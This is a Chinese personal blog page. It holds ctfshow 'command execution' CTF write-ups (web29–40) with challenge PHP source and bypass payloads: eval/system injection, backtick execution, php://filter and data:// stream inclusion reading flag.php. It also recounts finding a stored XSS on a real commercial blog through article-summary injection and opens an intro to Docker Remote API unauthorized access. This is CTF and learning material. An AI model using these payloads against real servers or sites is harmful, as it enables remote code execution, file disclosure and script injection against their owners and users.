命令执行-ctfshow

web 29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

只过滤了flag的大小写

1
2
3
4
5
6
7
8
9
echo `nl ????.???`; # 显示文本内容与行号
echo `tail ????.???`;# 只看文本的后几行
echo `cat ????.???`; # 从第一行开始显示文本内容
echo `more ????.???`; # 一页一页的显示文本内容
echo `less ????.???`; # 与 more 类似,但是比 more 更好的是,它可以往前翻页!
echo `head ????.???`; # 只看文本的前面几行
echo `tac ????.???`; # 从最后一行开始显示文本
echo `nl fla''g.php`;
echo `nl f*`;

最简单的payload,反引号绕过

1
echo `nl cat f''lag.php`;

骚点的直接执行system,

1
?c=system("cat%20f%27%27lag.php");

web30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

system被ban了(其实也可以用) passthru()进行目录查询

直接反引号继续绕过

1
2
3
4
?c=echo `nl cat f''lag.ph?`;

#还有就是这种也可以用system,get传参绕过
eval($_GET[1])?>&1=system('cat flag.php');

web31

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

ban的东西挺多的,但是继续get传参绕过

1
eval($_GET[1])?>&1=system('cat flag.php');

web32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这次比较狼灭吧,把分号ban了就没办法继续system通杀了

但是可以继续文件包含呀,他又没ban get传参的部分,把指定php文件的源码以base64方式编码并被显示出来

1
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33-36

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

=-=继续通杀文件包含

1
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://text/plain,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
伪协议中的php://input,同样原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==


/*<?php system('cat flag.php');?>*/


/?c=data:text/plain,<?=system("tac fla*");?>

web38

…额继续和37一样直接通杀

1
/?c=data:text/plain,<?=system("tac fla*");?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

web39

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

还是文件包含

1
/?c=data:text/plain,<?=system("tac fla*");?>

web40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

get_defined_vars — 返回由所有已定义变量所组成的数组

使用next获取这个数组的下一个位置的元素,也就是POST的元素

那么把这个元素弹出就可以命令执行了:

1
2
3
4
/?c=eval(array_pop(next(get_defined_vars())));

#post
1=system("tac fla?.php");

存储xss实战

前言

今天是我挖漏洞的第4天cnvd事件1个高危3个中危。今天闲的没事干结果弄了波大的,本来只是想看看xss的基本方法

结果捞了波大的,某千万资本博客网站存在存储xss,直接点开文章直接中招。

发现过程

百度xss结果打开了某篇文章

进去直接给我弹窗222,我直接打开源码审计发现文章并没有222这个字符串我就在源码的这个地方找到了

1
<p> 默认安全狗网站防护模块中,将XSS漏洞攻击拦截全部处于开启状态 选择漏洞平台pikachu,使用XSS模块 正常的,输入一段XSS代码(aaa'"><script>alert("222")</script>)后,会被WAF拦截 WAF检测机制默认的将诸如:alert、prompt、comfirm等弹 ...</p>

仔细看了下居然是来自于文章的相关推荐的摘要部分,直接当代码执行了。

但是这只是一个弹窗的来源,还有个弹1的,后面在源码里也找到了另外一篇摘要带弹窗1的代码

但是我开始没想明白到底是这篇文章自带的1还是摘要的1,所以我进行了测试,在测试过程中发现了摘要伪造触发

攻击思路

既然他存在于文章摘要部分,那是不是可以去对他进行一个摘要伪造直接写入js代码?

我便开始了下面的测试,我们打开文章发布页面。

可以看见他在问要不要转化,这里进行转化中间的那部分全都会被包含进摘要部分,重点是全部,他不管什么都可以包含

1648572875(1)

我们发布后看看摘要,确实是包含进去了,但是我们去康康内容

1648573098(1)

内容如下

1648573155(1)

后续

当我后面和基友说的时候,他觉得眼熟结果一看MarkText从XSS到RCE漏洞复现 (qq.com)

和这个差不多,小小骄傲一下0web基础pwn手,直接动手实操几天就挖了个这么骚的洞

攻击代码

1
2
3
4
5
6
7
经典一句话测试xss

<script>alert(5201314); </script>

-----------------------------------


docker_remoter-api渗透

漏洞简介及危害

Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。 Docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供。

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。 攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

声明及前提

本文仅供学习参考,如若保存下载后请在12小时内删除,不然后果自负。不得传播,商用以及利用文中技术进行非法活动,否则后果自负。严禁转载,否则一切后果自负。

不进来看看咩(╥╯^╰╥)
  • Copyrights © 2021-2023 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信